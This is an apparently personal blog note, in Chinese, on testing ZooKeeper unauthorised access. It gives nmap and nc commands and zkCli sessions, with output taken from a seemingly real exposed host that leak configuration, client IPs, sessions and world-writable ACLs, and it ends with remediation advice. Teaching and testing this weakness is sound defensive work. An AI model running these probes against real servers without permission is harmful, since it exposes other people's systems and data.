Zookeeper未授權訪問測試

  • 2019 年 10 月 21 日
  • 筆記

前言

  ZooKeeper是一個分散式的,開放源碼的分散式應用程式協調服務,是Google的Chubby一個開源的實現,是Hadoop和Hbase的重要組件。它是一個為分散式應用提供一致性服務的軟體,提供的功能包括:配置維護、域名服務、分散式同步、組服務等。

  zookeeper 未授權訪問是指安裝部署之後默認情況下不需要任何身份驗證,從而導致 zookeeper 被遠程利用,導致大量服務級別的資訊泄露。

  默認使用埠:2181、2182。

探測Zookeeper服務開放

  如使用nmap探測某個目標地址是否運行Zookeeper服務,探測2181埠開放。

root@kali:~# nmap -Pn -p 2181 xx.xx.xx.xx  Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-21 01:56 EDT  Nmap scan report for xx.xx.xx.xx.static.sz.js.chinamobile.com (xx.xx.xx.xx)  Host is up (0.016s latency).    PORT     STATE SERVICE  2181/tcp open  eforward    Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds

  批量探測僅需修改一下對應的目標地址即可。

獲取資訊

conf命令

  輸出相關服務配置的詳細資訊,埠、數據路徑、日誌路徑、session 超時時間,最大連接數等。

root@kali:~# echo conf | nc xx.xx.xx.xx 2181  clientPort=2171  dataDir=/opt/data/zookeeper/data/version-2  dataLogDir=/opt/data/zookeeper/data/version-2  tickTime=2000  maxClientCnxns=0  minSessionTimeout=4000  maxSessionTimeout=40000  serverId=0

cons命令

  列出所有連接到當前伺服器的客戶端/會話的詳細資訊。

root@kali:~# echo cons | nc xx.xx.xx.xx 2181 | more  /10.23.46.40:11958[1](queued=0,recved=27317,sent=27317,sid=0x1000000e029b16e,lop=PING,est=1571277639586,to=40000,lcxid=0x33,lzxid=0x286a720,lresp=2435779043,llat=0,minlat=0,avglat=0,maxlat=397)  /10.23.46.39:9688[1](queued=0,recved=27316,sent=27316,sid=0x1000000e029b17c,lop=PING,est=1571277641790,to=40000,lcxid=0x33,lzxid=0x286a71c,lresp=2435777895,llat=0,minlat=0,avglat=0,maxlat=560)

dump命令

  輸出未處理的會話和臨時節點,leader 節點有效。

root@kali:~# echo dump | nc xx.xx.xx.xx 2181 | more  SessionTracker dump:  Session Sets (21):  0 expire at Thu Jan 29 12:38:08 CST 1970:  0 expire at Thu Jan 29 12:38:10 CST 1970:  3 expire at Thu Jan 29 12:38:12 CST 1970:  0x1000000e01f0013  0x1000000e029fdde  0x1000000e029fe05  2 expire at Thu Jan 29 12:38:14 CST 1970:  0x1000000e02a4235  0x1000000e01f00e9  31 expire at Thu Jan 29 12:38:16 CST 1970:  0x1000000e01f067a  0x1000000e02a423c  0x1000000e01f0008  0x1000000e029fdf4  ...

  非 leader 節點看不到什麼相關資訊。

envi命令

  輸出伺服器的詳細資訊。

root@kali:~# echo envi | nc xx.xx.xx.xx 2181  Environment:  zookeeper.version=3.4.13-2d71af4dbe22557fda74f9a9b4309b15a7487f03, built on 06/29/2018 04:05 GMT  host.name=c1b69852-ac24-11e8-88d9-a4bf01306d06  java.version=1.7.0_80  java.vendor=Oracle Corporation  java.home=/usr/java/jdk1.7.0_80/jre  java.class.path=/opt/midware/zookeeper/bin/../build/classes:/opt/midware/zookeeper/bin/../build/lib/*.jar:/opt/midware/zookeeper/bin/../lib/slf4j-log4j12-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/slf4j-api-1.7.25.jar:/opt/midware/zookeeper/bin/../lib/netty-3.10.6.Final.jar:/opt/midware/zookeeper/bin/../lib/log4j-1.2.17.jar:/opt/midware/zookeeper/bin/../lib/jline-0.9.94.jar:/opt/midware/zookeeper/bin/../lib/audience-annotations-0.5.0.jar:/opt/midware/zookeeper/bin/../zookeeper-3.4.13.jar:/opt/midware/zookeeper/bin/../src/java/lib/*.jar:/opt/midware/zookeeper/bin/../conf:  java.library.path=/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib  java.io.tmpdir=/tmp  java.compiler=<NA>  os.name=Linux  os.arch=amd64  os.version=3.10.0-327.36.3.el7.x86_64  user.name=root  user.home=/root  user.dir=/

連接測試

安裝工具

  如在kali下,可以用如下命令安裝zookeeper工具,之後即可使用客戶端連接工具zkCli.sh

# apt-get install zookeeper  ...  #root@kali:~# cd /usr/share/zookeeper/bin/  #root@kali:/usr/share/zookeeper/bin# ls  zkCleanup.sh zkCli.sh zkEnv.sh zkServer.sh

連接目標

  使用-server參數指定目標即可連接。

root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:2181  Connecting to xx.xx.xx.xx:2181  Welcome to ZooKeeper!  JLine support is enabled  [zk: xx.xx.xx.xx:2181(CONNECTING) 0]    ... 已連接

獲取系統相關資訊

root@kali:/usr/share/zookeeper/bin# ./zkCli.sh -server xx.xx.xx.xx:2181  Connecting to xx.xx.xx.xx:2181  Welcome to ZooKeeper!  JLine support is enabled  [zk: xx.xx.xx.xx:2181(CONNECTING) 0]  WATCHER::    WatchedEvent state:SyncConnected type:None path:null    [zk: xx.xx.xx.xx:2181(CONNECTED) 0] ls /  [service, pms, DsMaster, Resource, monitor_lock, zookeeper]  [zk: xx.xx.xx.xx:2181(CONNECTED) 1] get /    cZxid = 0x0  ctime = Wed Dec 31 19:00:00 EST 1969  mZxid = 0x0  mtime = Wed Dec 31 19:00:00 EST 1969  pZxid = 0x4c0  cversion = 4  dataVersion = 0  aclVersion = 0  ephemeralOwner = 0x0  dataLength = 0  numChildren = 6  [zk: xx.xx.xx.xx:2181(CONNECTED) 2] get /service    cZxid = 0x2  ctime = Thu Aug 30 02:58:40 EDT 2018  mZxid = 0x2  mtime = Thu Aug 30 02:58:40 EDT 2018  pZxid = 0x1cb884d  cversion = 7  dataVersion = 0  aclVersion = 0  ephemeralOwner = 0x0  dataLength = 0  numChildren = 3  [zk: xx.xx.xx.xx:2181(CONNECTED) 3] getAcl /  'world,'anyone  : cdrwa

修復方案

1、設置防火牆策略限制 IP 訪問【建議採取此種方案】
2、不要將 zookeeper 暴露在外網
3、設置用戶認證和 ACL

參考

  zookeeper 未授權訪問

     http://vic.pub/zookeeper-未授權訪問/